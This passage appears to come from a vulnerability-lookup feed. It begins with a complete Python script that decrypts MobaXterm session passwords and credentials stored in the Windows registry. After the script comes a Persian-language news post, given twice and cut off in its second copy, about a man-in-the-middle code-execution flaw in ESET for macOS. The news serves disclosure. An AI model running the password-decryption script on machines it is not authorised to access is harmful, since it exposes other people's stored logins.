base64.b64decode(master_hash)[:32]\n\n\ndef derive_key_from_password(master_password: str) -> bytes:\n    return hashlib.sha512(master_password.encode('utf-8')).digest()[:32]\n\n\ndef decrypt_value(key: bytes, stored: str) -> bytes:\n    \"\"\"Decrypt one MobaXterm v25+/v26 stored password string.\"\"\"\n    if not stored.startswith('_@'):\n        # Old (<=v24) format: full string is base64 (@->+,_->/), fixed IV = ECB(key,0)\n        ct = base64.b64decode(stored, altchars=b'@_')\n        iv = AES.new(key=key, mode=AES.MODE_ECB).encrypt(b'\\x00' * 16)\n        return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(ct)\n    iv = stored[2:18].encode('latin1')              # 16 chars after _@ = AES IV\n    body = base64.b64decode(stored, altchars=b'@_')[15:]\n    return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(body)\n\n\ndef _decode(b: bytes) -> str:\n    try:\n        return b.decode('utf-8')\n    except UnicodeDecodeError:\n        return b.decode('latin1')\n\n\ndef enum_values(subkey: str):\n    try:\n        k = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + '\\\\' + subkey)\n    except FileNotFoundError:\n        return\n    for i in itertools.count(0):\n        try:\n            yield winreg.EnumValue(k, i)[:2]\n        except OSError:\n            break\n\n\ndef main():\n    if platform.system().lower() != 'windows':\n        sys.exit('Windows only.')\n    try:\n        key = derive_key_from_registry()\n        print('[+] AES key derived from registry master-password hash.\\n')\n    except Exception as e:\n        pw = input('Could not auto-derive key (%s).\\nEnter MobaXterm master password: ' % e)\n        key = derive_key_from_password(pw)\n\n    print('=== Session passwords (P) ===')\n    for name, value in enum_values('P'):\n        print(f'  {name:<32} {_decode(decrypt_value(key, value))!r}')\n\n    creds = list(enum_values('C'))\n    if creds:\n        print('\\n=== Credentials (C) ===')\n        for name, value in creds:\n            user, _, enc = value.partition(':')\n            print(f'  {name:<20} user={user!r:<14} {_decode(decrypt_value(key, enc))!r}')\n\n\nif __name__ == '__main__':\n    main()\n", "creation_timestamp": "2026-05-30T13:57:01.000000Z"}, {"uuid": "acb342a8-8c48-4c1a-b0e2-95c89318cb27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0718", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/3337", "content": "\ud83d\udca3 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u06a9 \u0648 \u062d\u0645\u0644\u0647\u200c\u06cc \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \n\n\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\n\n\u0645\u062d\u0642\u0642\u0627\u0646 \u06af\u0648\u06af\u0644 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc macOS \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0627\u0632 \u0631\u0627\u0647\u0650 \u062f\u0648\u0631 \u0648 \u0628\u062f\u0648\u0646 \u062f\u0627\u0634\u062a\u0646 \u0645\u062c\u0648\u0632\u060c \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc\u200c\u0647\u0627\u06cc \u0631\u06cc\u0634\u0647 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0647\u062f\u0641 \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f. ESET \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u062a\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0648\u0635\u0644\u0647 \u0634\u0648\u062f. \n\n\u0634\u0646\u0627\u0633\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f9\u06f8\u06f9\u06f2 \u0628\u0648\u062f\u0647\nhttp://seclists.org/fulldisclosure/2017/Feb/68\n\n \u0648 \u062f\u0631 \u0622\u0628\u0627\u0646 \u0645\u0627\u0647 \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc \u062a\u0648\u0633\u0637 \u062f\u0648 \u062a\u0646 \u0627\u0632 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0646\u0633\u062e\u0647\u200c\u06cc \u06f6 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647\u200c\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u06f3 \u0627\u0633\u0641\u0646\u062f \u0645\u0627\u0647 \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u06f6.\u06f4.\u06f1\u06f6\u06f8.\u06f0 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \nhttps://www.eset.com/za/download/business/detail/family/67/\n\n\u0628\u0647 \u06af\u0641\u062a\u0647\u200c\u06cc \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u06cc \u0628\u0627 \u0646\u0627\u0645 esets_daemon \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0633\u0637\u062d \u0631\u06cc\u0634\u0647 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0628\u0647\u200c\u0637\u0648\u0631 \u0627\u06cc\u0633\u062a\u0627 \u0628\u0647 \u06cc\u06a9 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc \u062a\u062c\u0632\u06cc\u0647\u200c\u06cc POCO XML \u067e\u06cc\u0648\u0646\u062f \u062e\u0648\u0631\u062f\u0647 \u0627\u0633\u062a. \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 POCO \u0628\u0627 \u0634\u0645\u0627\u0631\u0647\u200c\u06cc \u06f1.\u06f4.\u06f6p\u06f1 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f3 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0628\u0648\u062f \u06a9\u0647 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc Expat XML \u0628\u0648\u062f. \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc \u0642\u062f\u06cc\u0645\u06cc \u0646\u06cc\u0632 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f0\u06f7\u06f1\u06f8 \u0642\u0631\u0627\u0631 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0646\u0627\u0642\u0635 \u0648 \u062c\u0639\u0644\u06cc \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0628\u067e\u0631\u062f\u0627\u0632\u062f.\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0718\n\n\u062f\u0631 \u0637\u0648\u0644 \u0641\u0631\u0622\u06cc\u0646\u062f \u0641\u0639\u0627\u0644\u200c\u0633\u0627\u0632\u06cc \u0645\u062d\u0635\u0648\u0644 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET\u060c \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 esets_daemon \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0622\u062f\u0631\u0633 https://edf.eset.com/edf \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u062d\u0645\u0644\u0647\u200c\u06cc \u0645\u0631\u062f\u0650 \u0645\u06cc\u0627\u0646\u06cc \u0642\u0627\u0628\u0644 \u0627\u0646\u062c\u0627\u0645 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u062f\u0644\u06cc\u0644 \u0645\u062d\u062a\u0645\u0644 \u0627\u0633\u062a \u06a9\u0647 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0631 \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc\u0650 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0628\u0627 \u0634\u06a9\u0633\u062a \u0645\u0648\u0627\u062c\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0631 \u0637\u0648\u0644 \u0645\u0633\u06cc\u0631\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0627\u0631\u0633\u0627\u0644\u200c\u0634\u062f\u0647 \u0628\u0647 \u0633\u0645\u062a \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0647 \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f-\u0627\u0645\u0636\u0627\u0621\u060c \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0645\u062e\u0631\u0628 \u0631\u0627 \u062a\u062d\u0648\u06cc\u0644 \u062f\u0647\u062f. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 esets_daemon \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0631\u0627 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u067e\u0631\u062f\u0627\u0632\u0634 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f0\u06f7\u06f1\u06f8 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0648\u06cc\u0698\u0647 \u0642\u0627\u0628\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. \n\n\u06a9\u062f \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645\u06cc \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u06a9\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0686\u0647\u200c\u0637\u0648\u0631 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627\u0639\u062b \u062f\u0631\u0647\u0645 \u0634\u06a9\u0633\u062a\u0646 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0645\u06cc\u200c\u0634\u0648\u062f. \u0634\u0631\u06a9\u062a ESET \u0628\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc POCO \u0648 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u062f\u0631 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0645\u062d\u0635\u0648\u0644 \u062e\u0648\u062f\u060c \u0628\u0647\u200c\u0637\u0648\u0631\u06cc \u06a9\u0647 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc SSL \u0631\u0627 \u0628\u0647\u200c\u062f\u0631\u0633\u062a\u06cc \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc \u0628\u06a9\u0646\u062f\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u0646\u06cc\u0633\u062a \u06a9\u0647 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a ESET \u06a9\u0634\u0641 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f5 \u0645\u06cc\u0644\u0627\u062f\u06cc \u06cc\u06a9\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u06af\u0648\u06af\u0644 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062d\u06cc\u0627\u062a\u06cc \u0631\u0627 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0648 OS X \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u06af\u06cc\u0631\u062f.", "creation_timestamp": "2026-08-05T18:00:05.086018Z"}, {"uuid": "f6921b86-9d19-48dd-96ed-5c36fbf11a93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0718", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/3337", "content": "\ud83d\udca3 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u06a9 \u0648 \u062d\u0645\u0644\u0647\u200c\u06cc \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \n\n\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\n\n\u0645\u062d\u0642\u0642\u0627\u0646 \u06af\u0648\u06af\u0644 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc macOS \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0627\u0632 \u0631\u0627\u0647\u0650 \u062f\u0648\u0631 \u0648 \u0628\u062f\u0648\u0646 \u062f\u0627\u0634\u062a\u0646 \u0645\u062c\u0648\u0632\u060c \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc\u200c\u0647\u0627\u06cc \u0631\u06cc\u0634\u0647 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0647\u062f\u0641 \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f. ESET \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u062a\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0648\u0635\u0644\u0647 \u0634\u0648\u062f. \n\n\u0634\u0646\u0627\u0633\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f9\u06f8\u06f9\u06f2 \u0628\u0648\u062f\u0647\nhttp://seclists.org/fulldisclosure/2017/Feb/68\n\n \u0648 \u062f\u0631 \u0622\u0628\u0627\u0646 \u0645\u0627\u0647 \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc \u062a\u0648\u0633\u0637 \u062f\u0648 \u062a\u0646 \u0627\u0632 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0646\u0633\u062e\u0647\u200c\u06cc \u06f6 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647\u200c\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u06f3 \u0627\u0633\u0641\u0646\u062f \u0645\u0627\u0647 \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u06f6.\u06f4.\u06f1\u06f6\u06f8.\u06f0 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \nhttps://www.eset.com/za/download/business/detail/family/67/\n\n\u0628\u0647 \u06af\u0641\u062a\u0647\u200c\u06cc \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u06cc \u0628\u0627 \u0646\u0627\u0645 esets_daemon \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0633\u0637\u062d \u0631\u06cc\u0634\u0647 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0628\u0647\u200c\u0637\u0648\u0631 \u0627\u06cc\u0633\u062a\u0627 \u0628\u0647 \u06cc\u06a9 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc \u062a\u062c\u0632\u06cc\u0647\u200c\u06cc POCO XML \u067e\u06cc\u0648\u0646\u062f \u062e\u0648\u0631\u062f\u0647 \u0627\u0633\u062a. \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 POCO \u0628\u0627 \u0634\u0645\u0627\u0631\u0647\u200c\u06cc \u06f1.\u06f4.\u06f6p\u06f1 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f3 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0628\u0648\u062f \u06a9\u0647 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc Expat XML \u0628\u0648\u062f. \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc \u0642\u062f\u06cc\u0645\u06cc \u0646\u06cc\u0632 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f0\u06f7\u06f1\u06f8 \u0642\u0631\u0627\u0631 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0646\u0627\u0642\u0635 \u0648 \u062c\u0639\u0644\u06cc \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0628\u067e\u0631\u062f\u0627\u0632\u062f.\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0718\n\n\u062f\u0631 \u0637\u0648\u0644 \u0641\u0631\u0622\u06cc\u0646\u062f \u0641\u0639\u0627\u0644\u200c\u0633\u0627\u0632\u06cc \u0645\u062d\u0635\u0648\u0644 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET\u060c \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 esets_daemon \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0622\u062f\u0631\u0633 https://edf.eset.com/edf \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u062d\u0645\u0644\u0647\u200c\u06cc \u0645\u0631\u062f\u0650 \u0645\u06cc\u0627\u0646\u06cc \u0642\u0627\u0628\u0644 \u0627\u0646\u062c\u0627\u0645 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u062f\u0644\u06cc\u0644 \u0645\u062d\u062a\u0645\u0644 \u0627\u0633\u062a \u06a9\u0647 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0631 \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc\u0650 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0628\u0627 \u0634\u06a9\u0633\u062a \u0645\u0648\u0627\u062c\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0631 \u0637\u0648\u0644 \u0645\u0633\u06cc\u0631\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0627\u0631\u0633\u0627\u0644\u200c\u0634\u062f\u0647 \u0628\u0647 \u0633\u0645\u062a \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0647 \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f-\u0627\u0645\u0636\u0627\u0621\u060c \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0645\u062e\u0631\u0628 \u0631\u0627 \u062a\u062d\u0648\u06cc\u0644 \u062f\u0647\u062f. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 esets_daemon \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0631\u0627 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u067e\u0631\u062f\u0627\u0632\u0634 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f0\u06f7\u06f1\u06f8 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0648\u06cc\u0698\u0647 \u0642\u0627\u0628\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. \n\n\u06a9\u062f \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645\u06cc \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u06a9\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0686\u0647\u200c\u0637\u0648\u0631 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc 